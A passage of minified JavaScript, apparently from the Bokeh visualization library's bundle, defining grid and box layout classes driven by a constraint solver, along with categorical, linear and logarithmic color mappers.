n=this.dimension,r=(n+1)%2,o=this.ranges(),s=o[0],a=o[1],l=this.computed_bounds(),h=l[0],u=l[1];i=[Math.min(h,u),Math.max(h,u)],h=i[0],u=i[1];var c=this.ticker.get_ticks(h,u,s,a.min,{})[t],_=s.min,p=s.max,d=a.min,f=a.max,v=[[],[]];e||(c[0]!=_&&c.splice(0,0,_),c[c.length-1]!=p&&c.push(p));for(var m=0;m<c.length;m++)if(c[m]!=_&&c[m]!=p||!e){for(var g=[],y=[],b=0;b<2;b++){var x=d+(f-d)/1*b;g.push(c[m]),y.push(x)}v[n].push(g),v[r].push(y)}return v},t}(r.GuideRenderer);(i.Grid=a).initClass()},function(t,e,i){var n=t(151);i.Grid=n.Grid},function(t,e,i){var n=t(391);n.__exportStar(t(66),i),n.__exportStar(t(83),i),n.__exportStar(t(89),i),n.__exportStar(t(93),i),n.__exportStar(t(96),i),n.__exportStar(t(102),i),n.__exportStar(t(108),i),n.__exportStar(t(129),i),n.__exportStar(t(148),i),n.__exportStar(t(152),i),n.__exportStar(t(156),i),n.__exportStar(t(166),i),n.__exportStar(t(274),i),n.__exportStar(t(171),i),n.__exportStar(t(176),i),n.__exportStar(t(182),i),n.__exportStar(t(188),i),n.__exportStar(t(191),i),n.__exportStar(t(195),i),n.__exportStar(t(204),i),n.__exportStar(t(214),i),n.__exportStar(t(224),i),n.__exportStar(t(260),i)},function(t,e,i){var n=t(391),p=t(13),r=t(15),s=t(21),o=t(157),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.children.change,function(){return t.rebuild_child_views()})},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-grid\\\")},t.prototype.get_height=function(){var t=this.model.get_layoutable_children(),e=t.map(function(t){return t._height.value});return this.model._horizontal?s.max(e):s.sum(e)},t.prototype.get_width=function(){var t=this.model.get_layoutable_children(),e=t.map(function(t){return t._width.value});return this.model._horizontal?s.sum(e):s.max(e)},t}(o.LayoutDOMView);i.BoxView=a;var l=function(_){function w(t){return _.call(this,t)||this}return n.__extends(w,_),w.initClass=function(){this.prototype.type=\\\"Box\\\",this.prototype.default_view=a,this.define({children:[r.Array,[]]}),this.internal({spacing:[r.Number,6]})},w.prototype.initialize=function(){_.prototype.initialize.call(this),this._child_equal_size_width=new p.Variable(this.toString()+\\\".child_equal_size_width\\\"),this._child_equal_size_height=new p.Variable(this.toString()+\\\".child_equal_size_height\\\"),this._box_equal_size_top=new p.Variable(this.toString()+\\\".box_equal_size_top\\\"),this._box_equal_size_bottom=new p.Variable(this.toString()+\\\".box_equal_size_bottom\\\"),this._box_equal_size_left=new p.Variable(this.toString()+\\\".box_equal_size_left\\\"),this._box_equal_size_right=new p.Variable(this.toString()+\\\".box_equal_size_right\\\"),this._box_cell_align_top=new p.Variable(this.toString()+\\\".box_cell_align_top\\\"),this._box_cell_align_bottom=new p.Variable(this.toString()+\\\".box_cell_align_bottom\\\"),this._box_cell_align_left=new p.Variable(this.toString()+\\\".box_cell_align_left\\\"),this._box_cell_align_right=new p.Variable(this.toString()+\\\".box_cell_align_right\\\")},w.prototype.get_layoutable_children=function(){return this.children},w.prototype.get_constrained_variables=function(){return n.__assign({},_.prototype.get_constrained_variables.call(this),{box_equal_size_top:this._box_equal_size_top,box_equal_size_bottom:this._box_equal_size_bottom,box_equal_size_left:this._box_equal_size_left,box_equal_size_right:this._box_equal_size_right,box_cell_align_top:this._box_cell_align_top,box_cell_align_bottom:this._box_cell_align_bottom,box_cell_align_left:this._box_cell_align_left,box_cell_align_right:this._box_cell_align_right})},w.prototype.get_constraints=function(){var i=_.prototype.get_constraints.call(this),t=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];i.push.apply(i,t)},e=this.get_layoutable_children();if(0==e.length)return i;for(var n=0,r=e;n<r.length;n++){var o=r[n],s=o.get_constrained_variables(),a=this._child_rect(s);this._horizontal?null!=s.height&&t(p.EQ(a.height,[-1,this._height])):null!=s.width&&t(p.EQ(a.width,[-1,this._width])),this._horizontal?null!=s.box_equal_size_left&&null!=s.box_equal_size_right&&null!=s.width&&t(p.EQ([-1,s.box_equal_size_left],[-1,s.box_equal_size_right],s.width,this._child_equal_size_width)):null!=s.box_equal_size_top&&null!=s.box_equal_size_bottom&&null!=s.height&&t(p.EQ([-1,s.box_equal_size_top],[-1,s.box_equal_size_bottom],s.height,this._child_equal_size_height))}var l=this._info(e[0].get_constrained_variables());t(p.EQ(l.span.start,0));for(var h=1;h<e.length;h++){var u=this._info(e[h].get_constrained_variables());l.span.size&&t(p.EQ(l.span.start,l.span.size,[-1,u.span.start])),t(p.WEAK_EQ(l.whitespace.after,u.whitespace.before,0-this.spacing)),t(p.GE(l.whitespace.after,u.whitespace.before,0-this.spacing)),l=u}var c=e[e.length-1].get_constrained_variables();return this._horizontal?null!=c.width&&t(p.EQ(l.span.start,l.span.size,[-1,this._width])):null!=c.height&&t(p.EQ(l.span.start,l.span.size,[-1,this._height])),i=i.concat(this._align_outer_edges_constraints(!0),this._align_outer_edges_constraints(!1),this._align_inner_cell_edges_constraints(),this._box_equal_size_bounds(!0),this._box_equal_size_bounds(!1),this._box_cell_align_bounds(!0),this._box_cell_align_bounds(!1),this._box_whitespace(!0),this._box_whitespace(!1))},w.prototype._child_rect=function(t){return{x:t.origin_x,y:t.origin_y,width:t.width,height:t.height}},w.prototype._span=function(t){return this._horizontal?{start:t.x,size:t.width}:{start:t.y,size:t.height}},w.prototype._info=function(t){var e;e=this._horizontal?{before:t.whitespace_left,after:t.whitespace_right}:{before:t.whitespace_top,after:t.whitespace_bottom};var i=this._span(this._child_rect(t));return{span:i,whitespace:e}},w.prototype._flatten_cell_edge_variables=function(t){var e;e=t?w._top_bottom_inner_cell_edge_variables:w._left_right_inner_cell_edge_variables;for(var i=t!=this._horizontal,n=this.get_layoutable_children(),r=n.length,o={},s=0,a=0,l=n;a<l.length;a++){var h=l[a],u=void 0;u=h instanceof w?h._flatten_cell_edge_variables(t):{};for(var c=h.get_constrained_variables(),_=0,p=e;_<p.length;_++){var d=p[_];d in c&&(u[d]=[c[d]])}for(var f in u){var v=u[f],m=void 0;if(i){var g=f.split(\\\" \\\"),y=g[0],b=1<g.length?g[1]:\\\"\\\",x=this._horizontal?\\\"row\\\":\\\"col\\\";m=y+\\\" \\\"+x+\\\"-\\\"+r+\\\"-\\\"+s+\\\"-\\\"+b}else m=f;o[m]=m in o?o[m].concat(v):v}s++}return o},w.prototype._align_inner_cell_edges_constraints=function(){var t=[];if(null!=this.document&&s.includes(this.document.roots(),this)){var e=this._flatten_cell_edge_variables(this._horizontal);for(var i in e){var n=e[i];if(1<n.length)for(var r=n[0],o=1;o<n.length;o++)t.push(p.EQ(n[o],[-1,r]))}}return t},w.prototype._find_edge_leaves=function(t){var e=this.get_layoutable_children(),i=[[],[]];if(0<e.length)if(this._horizontal==t){var n=e[0],r=e[e.length-1];n instanceof w?i[0]=i[0].concat(n._find_edge_leaves(t)[0]):i[0].push(n),r instanceof w?i[1]=i[1].concat(r._find_edge_leaves(t)[1]):i[1].push(r)}else for(var o=0,s=e;o<s.length;o++){var a=s[o];if(a instanceof w){var l=a._find_edge_leaves(t);i[0]=i[0].concat(l[0]),i[1]=i[1].concat(l[1])}else i[0].push(a),i[1].push(a)}return i},w.prototype._align_outer_edges_constraints=function(t){var e,i,n=this._find_edge_leaves(t),r=n[0],o=n[1];t?(e=\\\"on_edge_align_left\\\",i=\\\"on_edge_align_right\\\"):(e=\\\"on_edge_align_top\\\",i=\\\"on_edge_align_bottom\\\");var s=function(t,e){for(var i=[],n=0,r=t;n<r.length;n++){var o=r[n],s=o.get_constrained_variables();e in s&&i.push(s[e])}return i},a=s(r,e),l=s(o,i),h=[],u=function(t){if(1<t.length)for(var e=t[0],i=1;i<t.length;i++){var n=t[i];h.push(p.EQ([-1,e],n))}};return u(a),u(l),h},w.prototype._box_insets_from_child_insets=function(t,e,i,a){var n,r,o,s,l=this._find_edge_leaves(t),h=l[0],u=l[1];t?(n=e+\\\"_left\\\",r=e+\\\"_right\\\",o=this[i+\\\"_left\\\"],s=this[i+\\\"_right\\\"]):(n=e+\\\"_top\\\",r=e+\\\"_bottom\\\",o=this[i+\\\"_top\\\"],s=this[i+\\\"_bottom\\\"]);var c=[],_=function(t,e,i){for(var n=0,r=e;n<r.length;n++){var o=r[n],s=o.get_constrained_variables();i in s&&(a?c.push(p.GE([-1,t],s[i])):c.push(p.EQ([-1,t],s[i])))}};return _(o,h,n),_(s,u,r),c},w.prototype._box_equal_size_bounds=function(t){return this._box_insets_from_child_insets(t,\\\"box_equal_size\\\",\\\"_box_equal_size\\\",!1)},w.prototype._box_cell_align_bounds=function(t){return this._box_insets_from_child_insets(t,\\\"box_cell_align\\\",\\\"_box_cell_align\\\",!1)},w.prototype._box_whitespace=function(t){return this._box_insets_from_child_insets(t,\\\"whitespace\\\",\\\"_whitespace\\\",!0)},w._left_right_inner_cell_edge_variables=[\\\"box_cell_align_left\\\",\\\"box_cell_align_right\\\"],w._top_bottom_inner_cell_edge_variables=[\\\"box_cell_align_top\\\",\\\"box_cell_align_bottom\\\"],w}(o.LayoutDOM);(i.Box=l).initClass()},function(t,e,i){var n=t(391),r=t(154),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-grid-column\\\")},e}(r.BoxView);i.ColumnView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e._horizontal=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Column\\\",this.prototype.default_view=o},t}(r.Box);(i.Column=s).initClass()},function(t,e,i){var n=t(154);i.Box=n.Box;var r=t(155);i.Column=r.Column;var o=t(157);i.LayoutDOM=o.LayoutDOM;var s=t(158);i.Row=s.Row;var a=t(159);i.Spacer=a.Spacer;var l=t(160);i.WidgetBox=l.WidgetBox},function(t,e,i){var n=t(391),r=t(59),g=t(5),o=t(15),s=t(11),h=t(13),a=t(4),l=t(6),u=function(i){function t(){var t=null!==i&&i.apply(this,arguments)||this;return t._solver_inited=!1,t._idle_notified=!1,t}return n.__extends(t,i),t.prototype.initialize=function(t){i.prototype.initialize.call(this,t),this.is_root&&(this._solver=new h.Solver),this.child_views={},this.build_child_views()},t.prototype.remove=function(){for(var t in this.child_views){var e=this.child_views[t];e.remove()}this.child_views={},i.prototype.remove.call(this)},t.prototype.has_finished=function(){if(!i.prototype.has_finished.call(this))return!1;for(var t in this.child_views){var e=this.child_views[t];if(!e.has_finished())return!1}return!0},t.prototype.notify_finished=function(){this.is_root?!this._idle_notified&&this.has_finished()&&null!=this.model.document&&(this._idle_notified=!0,this.model.document.notify_idle(this.model)):i.prototype.notify_finished.call(this)},t.prototype._calc_width_height=function(){for(var t=this.el;t=t.parentElement;)if(!t.classList.contains(\\\"bk-root\\\")){if(t==document.body){var e=g.margin(document.body),i=e.left,n=e.right,r=e.top,o=e.bottom,s=document.documentElement.clientWidth-i-n,a=document.documentElement.clientHeight-r-o;return[s,a]}var l=g.padding(t),h=l.left,u=l.right,c=l.top,_=l.bottom,p=t.getBoundingClientRect(),d=p.width,f=p.height,v=d-h-u,m=f-c-_;switch(this.model.sizing_mode){case\\\"scale_width\\\":if(0<v)return[v,0<m?m:null];break;case\\\"scale_height\\\":if(0<m)return[0<v?v:null,m];break;case\\\"scale_both\\\":case\\\"stretch_both\\\":if(0<v||0<m)return[0<v?v:null,0<m?m:null];break;default:throw new Error(\\\"unreachable\\\")}}return[null,null]},t.prototype._init_solver=function(){this._root_width=new h.Variable(this.toString()+\\\".root_width\\\"),this._root_height=new h.Variable(this.toString()+\\\".root_height\\\"),this._solver.add_edit_variable(this._root_width,NaN),this._solver.add_edit_variable(this._root_height,NaN);for(var t=this.model.get_all_editables(),e=0,i=t;e<i.length;e++){var n=i[e];this._solver.add_edit_variable(n,h.Strength.strong)}for(var r=this.model.get_all_constraints(),o=0,s=r;o<s.length;o++){var a=s[o];this._solver.add_constraint(a)}var l=this.model.get_constrained_variables();null!=l.width&&this._solver.add_constraint(h.EQ(l.width,this._root_width)),null!=l.height&&this._solver.add_constraint(h.EQ(l.height,this._root_height)),this._solver.update_variables(),this._solver_inited=!0},t.prototype._suggest_dims=function(t,e){var i,n=this.model.get_constrained_variables();null==n.width&&null==n.height||(null!=t&&null!=e||(i=this._calc_width_height(),t=i[0],e=i[1]),null!=n.width&&null!=t&&this._solver.suggest_value(this._root_width,t),null!=n.height&&null!=e&&this._solver.suggest_value(this._root_height,e),this._solver.update_variables())},t.prototype.resize=function(t,e){void 0===t&&(t=null),void 0===e&&(e=null),this.is_root?this._do_layout(!1,t,e):this.root.resize(t,e)},t.prototype.partial_layout=function(){this.is_root?this._do_layout(!1):this.root.partial_layout()},t.prototype.layout=function(){this.is_root?this._do_layout(!0):this.root.layout()},t.prototype._do_layout=function(t,e,i){void 0===e&&(e=null),void 0===i&&(i=null),this._solver_inited&&!t||(this._solver.clear(),this._init_solver()),this._suggest_dims(e,i),this._layout(),this._layout(),this._layout(!0),this.notify_finished()},t.prototype._layout=function(t){void 0===t&&(t=!1);for(var e=0,i=this.model.get_layoutable_children();e<i.length;e++){var n=i[e],r=this.child_views[n.id];null!=r._layout&&r._layout(t)}this.render(),t&&(this._has_finished=!0)},t.prototype.rebuild_child_views=function(){this.solver.clear(),this.build_child_views(),this.layout()},t.prototype.build_child_views=function(){var t=this.model.get_layoutable_children();a.build_views(this.child_views,t,{parent:this}),g.empty(this.el);for(var e=0,i=t;e<i.length;e++){var n=i[e],r=this.child_views[n.id];this.el.appendChild(r.el)}},t.prototype.connect_signals=function(){var t=this;i.prototype.connect_signals.call(this),this.is_root&&window.addEventListener(\\\"resize\\\",this),this.connect(this.model.properties.sizing_mode.change,function(){return t.layout()})},t.prototype.handleEvent=function(){this.resize()},t.prototype.disconnect_signals=function(){window.removeEventListener(\\\"resize\\\",this),i.prototype.disconnect_signals.call(this)},t.prototype._render_classes=function(){this.el.className=\\\"\\\";for(var t=0,e=this.css_classes();t<e.length;t++){var i=e[t];this.el.classList.add(i)}this.el.classList.add(\\\"bk-layout-\\\"+this.model.sizing_mode);for(var n=0,r=this.model.css_classes;n<r.length;n++){var o=r[n];this.el.classList.add(o)}},t.prototype.render=function(){switch(this._render_classes(),this.model.sizing_mode){case\\\"fixed\\\":var t=void 0;t=null!=this.model.width?this.model.width:this.get_width(),this.model.setv({width:t},{silent:!0});var e=void 0;e=null!=this.model.height?this.model.height:this.get_height(),this.model.setv({height:e},{silent:!0}),this.solver.suggest_value(this.model._width,t),this.solver.suggest_value(this.model._height,e);break;case\\\"scale_width\\\":var e=this.get_height();this.solver.suggest_value(this.model._height,e);break;case\\\"scale_height\\\":var t=this.get_width();this.solver.suggest_value(this.model._width,t);break;case\\\"scale_both\\\":var i=this.get_width_height(),t=i[0],e=i[1];this.solver.suggest_value(this.model._width,t),this.solver.suggest_value(this.model._height,e)}this.solver.update_variables(),this.position()},t.prototype.position=function(){switch(this.model.sizing_mode){case\\\"fixed\\\":case\\\"scale_width\\\":case\\\"scale_height\\\":this.el.style.position=\\\"relative\\\",this.el.style.left=\\\"\\\",this.el.style.top=\\\"\\\";break;case\\\"scale_both\\\":case\\\"stretch_both\\\":this.el.style.position=\\\"absolute\\\",this.el.style.left=this.model._dom_left.value+\\\"px\\\",this.el.style.top=this.model._dom_top.value+\\\"px\\\"}this.el.style.width=this.model._width.value+\\\"px\\\",this.el.style.height=this.model._height.value+\\\"px\\\"},t.prototype.get_width_height=function(){var t=this._calc_width_height(),e=t[0],i=t[1];if(null==e&&null==i)throw new Error(\\\"detached element\\\");var n=this.model.get_aspect_ratio();if(null!=e&&null==i)return[e,e/n];if(null==e&&null!=i)return[i*n,i];var r,o,s=e,a=e/n,l=i*n,h=i;return s<l?(r=s,o=a):(r=l,o=h),[r,o]},t}(l.DOMView);i.LayoutDOMView=u;var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LayoutDOM\\\",this.define({height:[o.Number],width:[o.Number],disabled:[o.Bool,!1],sizing_mode:[o.SizingMode,\\\"fixed\\\"],css_classes:[o.Array,[]]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._width=new h.Variable(this.toString()+\\\".width\\\"),this._height=new h.Variable(this.toString()+\\\".height\\\"),this._left=new h.Variable(this.toString()+\\\".left\\\"),this._right=new h.Variable(this.toString()+\\\".right\\\"),this._top=new h.Variable(this.toString()+\\\".top\\\"),this._bottom=new h.Variable(this.toString()+\\\".bottom\\\"),this._dom_top=new h.Variable(this.toString()+\\\".dom_top\\\"),this._dom_left=new h.Variable(this.toString()+\\\".dom_left\\\"),this._width_minus_right=new h.Variable(this.toString()+\\\".width_minus_right\\\"),this._height_minus_bottom=new h.Variable(this.toString()+\\\".height_minus_bottom\\\"),this._whitespace_top=new h.Variable(this.toString()+\\\".whitespace_top\\\"),this._whitespace_bottom=new h.Variable(this.toString()+\\\".whitespace_bottom\\\"),this._whitespace_left=new h.Variable(this.toString()+\\\".whitespace_left\\\"),this._whitespace_right=new h.Variable(this.toString()+\\\".whitespace_right\\\")},Object.defineProperty(t.prototype,\\\"layout_bbox\\\",{get:function(){return{top:this._top.value,left:this._left.value,width:this._width.value,height:this._height.value,right:this._right.value,bottom:this._bottom.value,dom_top:this._dom_top.value,dom_left:this._dom_left.value}},enumerable:!0,configurable:!0}),t.prototype.dump_layout=function(){for(var t,e={},i=[this];t=i.shift();)i.push.apply(i,t.get_layoutable_children()),e[t.toString()]=t.layout_bbox;console.table(e)},t.prototype.get_all_constraints=function(){for(var t=this.get_constraints(),e=0,i=this.get_layoutable_children();e<i.length;e++){var n=i[e];t=n instanceof s.LayoutCanvas?t.concat(n.get_constraints()):t.concat(n.get_all_constraints())}return t},t.prototype.get_all_editables=function(){for(var t=this.get_editables(),e=0,i=this.get_layoutable_children();e<i.length;e++){var n=i[e];t=n instanceof s.LayoutCanvas?t.concat(n.get_editables()):t.concat(n.get_all_editables())}return t},t.prototype.get_constraints=function(){return[h.GE(this._dom_left),h.GE(this._dom_top),h.GE(this._left),h.GE(this._width,[-1,this._right]),h.GE(this._top),h.GE(this._height,[-1,this._bottom]),h.EQ(this._width_minus_right,[-1,this._width],this._right),h.EQ(this._height_minus_bottom,[-1,this._height],this._bottom)]},t.prototype.get_layoutable_children=function(){return[]},t.prototype.get_editables=function(){switch(this.sizing_mode){case\\\"fixed\\\":return[this._height,this._width];case\\\"scale_width\\\":return[this._height];case\\\"scale_height\\\":return[this._width];case\\\"scale_both\\\":return[this._width,this._height];default:return[]}},t.prototype.get_constrained_variables=function(){var t={origin_x:this._dom_left,origin_y:this._dom_top,whitespace_top:this._whitespace_top,whitespace_bottom:this._whitespace_bottom,whitespace_left:this._whitespace_left,whitespace_right:this._whitespace_right};switch(this.sizing_mode){case\\\"stretch_both\\\":t.width=this._width,t.height=this._height;break;case\\\"scale_width\\\":t.width=this._width;break;case\\\"scale_height\\\":t.height=this._height}return t},t.prototype.get_aspect_ratio=function(){return this.width/this.height},t}(r.Model);(i.LayoutDOM=c).initClass()},function(t,e,i){var n=t(391),r=t(154),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-grid-row\\\")},e}(r.BoxView);i.RowView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e._horizontal=!0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Row\\\",this.prototype.default_view=o},t}(r.Box);(i.Row=s).initClass()},function(t,e,i){var n=t(391),r=t(157),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),\\\"fixed\\\"==this.model.sizing_mode&&(this.el.style.width=this.model.width+\\\"px\\\",this.el.style.height=this.model.height+\\\"px\\\")},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-spacer-box\\\")},e.prototype.get_width=function(){return 1},e.prototype.get_height=function(){return 1},e}(r.LayoutDOMView);i.SpacerView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Spacer\\\",this.prototype.default_view=o},t.prototype.get_constrained_variables=function(){return n.__assign({},e.prototype.get_constrained_variables.call(this),{on_edge_align_top:this._top,on_edge_align_bottom:this._height_minus_bottom,on_edge_align_left:this._left,on_edge_align_right:this._width_minus_right,box_cell_align_top:this._top,box_cell_align_bottom:this._height_minus_bottom,box_cell_align_left:this._left,box_cell_align_right:this._width_minus_right,box_equal_size_top:this._top,box_equal_size_bottom:this._height_minus_bottom,box_equal_size_left:this._left,box_equal_size_right:this._width_minus_right})},t}(r.LayoutDOM);(i.Spacer=s).initClass()},function(t,e,i){var n=t(391),r=t(14),o=t(15),s=t(157),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.children.change,function(){return t.rebuild_child_views()})},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-widget-box\\\")},t.prototype.render=function(){if(this._render_classes(),\\\"fixed\\\"==this.model.sizing_mode||\\\"scale_height\\\"==this.model.sizing_mode){var t=this.get_width();this.model._width.value!=t&&this.solver.suggest_value(this.model._width,t)}if(\\\"fixed\\\"==this.model.sizing_mode||\\\"scale_width\\\"==this.model.sizing_mode){var e=this.get_height();this.model._height.value!=e&&this.solver.suggest_value(this.model._height,e)}if(this.solver.update_variables(),\\\"stretch_both\\\"==this.model.sizing_mode)this.el.style.position=\\\"absolute\\\",this.el.style.left=this.model._dom_left.value+\\\"px\\\",this.el.style.top=this.model._dom_top.value+\\\"px\\\",this.el.style.width=this.model._width.value+\\\"px\\\",this.el.style.height=this.model._height.value+\\\"px\\\";else{var i=void 0;i=0<this.model._width.value-20?this.model._width.value-20+\\\"px\\\":\\\"100%\\\",this.el.style.width=i}},t.prototype.get_height=function(){var t=0;for(var e in this.child_views){var i=this.child_views[e],n=i.el,r=getComputedStyle(n),o=parseInt(r.marginTop)||0,s=parseInt(r.marginBottom)||0;t+=n.offsetHeight+o+s}return t+20},t.prototype.get_width=function(){if(null!=this.model.width)return this.model.width;var t=this.el.scrollWidth+20;for(var e in this.child_views){var i=this.child_views[e],n=i.el.scrollWidth;t<n&&(t=n)}return t},t}(s.LayoutDOMView);i.WidgetBoxView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"WidgetBox\\\",this.prototype.default_view=a,this.define({children:[o.Array,[]]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),\\\"fixed\\\"==this.sizing_mode&&null==this.width&&(this.width=300,r.logger.info(\\\"WidgetBox mode is fixed, but no width specified. Using default of 300.\\\"))},t.prototype.get_constrained_variables=function(){var t=n.__assign({},e.prototype.get_constrained_variables.call(this),{on_edge_align_top:this._top,on_edge_align_bottom:this._height_minus_bottom,on_edge_align_left:this._left,on_edge_align_right:this._width_minus_right,box_cell_align_top:this._top,box_cell_align_bottom:this._height_minus_bottom,box_cell_align_left:this._left,box_cell_align_right:this._width_minus_right,box_equal_size_top:this._top,box_equal_size_bottom:this._height_minus_bottom});return\\\"fixed\\\"!=this.sizing_mode&&(t.box_equal_size_left=this._left,t.box_equal_size_right=this._width_minus_right),t},t.prototype.get_layoutable_children=function(){return this.children},t}(s.LayoutDOM);(i.WidgetBox=l).initClass()},function(t,e,i){var n=t(391),o=t(162),r=t(164),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalColorMapper\\\",this.define({factors:[s.Array],start:[s.Number,0],end:[s.Number]})},t.prototype._v_compute=function(t,e,i,n){var r=n.nan_color;o.cat_v_compute(t,this.factors,i,e,this.start,this.end,r)},t}(r.ColorMapper);(i.CategoricalColorMapper=a).initClass()},function(t,e,i){var _=t(21),p=t(44);function d(t,e){if(t.length!=e.length)return!1;for(var i=0,n=t.length;i<n;i++)if(t[i]!==e[i])return!1;return!0}i._cat_equals=d,i.cat_v_compute=function(o,s,a,l,h,u,c){for(var t=function(t,e){var i=o[t],n=void 0;p.isString(i)?n=s.indexOf(i):(null!=h?i=null!=u?i.slice(h,u):i.slice(h):null!=u&&(i=i.slice(0,u)),n=1==i.length?s.indexOf(i[0]):_.findIndex(s,function(t){return d(t,i)}));var r=void 0;r=n<0||n>=a.length?c:a[n],l[t]=r},e=0,i=o.length;e<i;e++)t(e,i)}},function(t,e,i){var n=t(391),r=t(162),o=t(169),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalMarkerMapper\\\",this.define({factors:[s.Array],markers:[s.Array],start:[s.Number,0],end:[s.Number],default_value:[s.String,\\\"circle\\\"]})},t.prototype.v_compute=function(t){var e=new Array(t.length);return r.cat_v_compute(t,this.factors,this.markers,e,this.start,this.end,this.default_value),e},t}(o.Mapper);(i.CategoricalMarkerMapper=a).initClass()},function(t,e,i){var n=t(391),r=t(169),o=t(15),s=t(27),a=t(28);function l(t){return\\\"#\\\"!=t[0]&&(t=s.color2hex(t)),9!=t.length&&(t+=\\\"ff\\\"),parseInt(t.slice(1),16)}function h(t){for(var e=new Uint32Array(t.length),i=0,n=t.length;i<n;i++)e[i]=l(t[i]);return e}function u(t){if(a.is_little_endian)for(var e=new DataView(t.buffer),i=0,n=t.length;i<n;i++)e.setUint32(4*i,t[i]);return new Uint8Array(t.buffer)}i._convert_color=l,i._convert_palette=h,i._uint32_to_rgba=u;var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ColorMapper\\\",this.define({palette:[o.Any],nan_color:[o.Color,\\\"gray\\\"]})},t.prototype.v_compute=function(t){var e=new Array(t.length);return this._v_compute(t,e,this.palette,this._colors(function(t){return t})),e},Object.defineProperty(t.prototype,\\\"rgba_mapper\\\",{get:function(){var i=this,n=h(this.palette),r=this._colors(l);return{v_compute:function(t){var e=new Uint32Array(t.length);return i._v_compute(t,e,n,r),u(e)}}},enumerable:!0,configurable:!0}),t.prototype._colors=function(t){return{nan_color:t(this.nan_color)}},t}(r.Mapper);(i.ColorMapper=c).initClass()},function(t,e,i){var n=t(391),r=t(164),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ContinuousColorMapper\\\",this.define({high:[o.Number],low:[o.Number],high_color:[o.Color],low_color:[o.Color]})},t.prototype._colors=function(t){return n.__assign({},e.prototype._colors.call(this,t),{low_color:null!=this.low_color?t(this.low_color):void 0,high_color:null!=this.high_color?t(this.high_color):void 0})},t}(r.ColorMapper);(i.ContinuousColorMapper=s).initClass()},function(t,e,i){var n=t(161);i.CategoricalColorMapper=n.CategoricalColorMapper;var r=t(163);i.CategoricalMarkerMapper=r.CategoricalMarkerMapper;var o=t(165);i.ContinuousColorMapper=o.ContinuousColorMapper;var s=t(164);i.ColorMapper=s.ColorMapper;var a=t(167);i.LinearColorMapper=a.LinearColorMapper;var l=t(168);i.LogColorMapper=l.LogColorMapper},function(t,e,i){var n=t(391),r=t(165),m=t(22),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearColorMapper\\\"},t.prototype._v_compute=function(t,e,i,n){for(var r=n.nan_color,o=n.low_color,s=n.high_color,a=null!=this.low?this.low:m.min(t),l=null!=this.high?this.high:m.max(t),h=i.length-1,u=1/(l-a),c=1/i.length,_=0,p=t.length;_<p;_++){var d=t[_];if(isNaN(d))e[_]=r;else if(d!=l){var f=(d-a)*u,v=Math.floor(f/c);e[_]=v<0?null!=o?o:i[0]:h<v?null!=s?s:i[h]:i[v]}else e[_]=i[h]}},t}(r.ContinuousColorMapper);(i.LinearColorMapper=o).initClass()},function(t,e,i){var n=t(391),r=t(165),m=t(22),g=null!=Math.log1p?Math.log1p:function(t){return Math.log(1+t)},o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogColorMapper\\\"},t.prototype._v_compute=function(t,e,i,n){for(var r=n.nan_color,o=n.low_color,s=n.high_color,a=i.length,l=null!=this.low?this.low:m.min(t),h=null!=this.high?this.high:m.max(t),u=a/(g(h)-g(l)),c=i.length-1,_=0,p=t.length;_<p;_++){var d=t[_];if(isNaN(d))e[_]=r;else if(h<d)e[_]=null!=s?s:i[c];else if(d!=h)if(d<l)e[_]=null!=o?o:i[0];else{var f=g(d)-g(l),v=Math.floor(f*u);c<v&&(v=c),e[_]=i[v]}else e[_]=i[c]}},t}(r.ContinuousColorMapper);(i.LogColorMapper=o).initClass()},function(t,e,i){var n=t(391),r=t(279),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Mapper\\\"},t.prototype.compute=function(t){throw new Error(\\\"mapping single values is not supported\\\")},t}(r.Transform);(i.Mapper=o).initClass()},function(t,e,i){var o=t(391),s=t(172),h=Math.sqrt(3);function a(t,e){t.moveTo(-e,e),t.lineTo(e,-e),t.moveTo(-e,-e),t.lineTo(e,e)}function l(t,e){t.moveTo(0,e),t.lineTo(0,-e),t.moveTo(-e,0),t.lineTo(e,0)}function 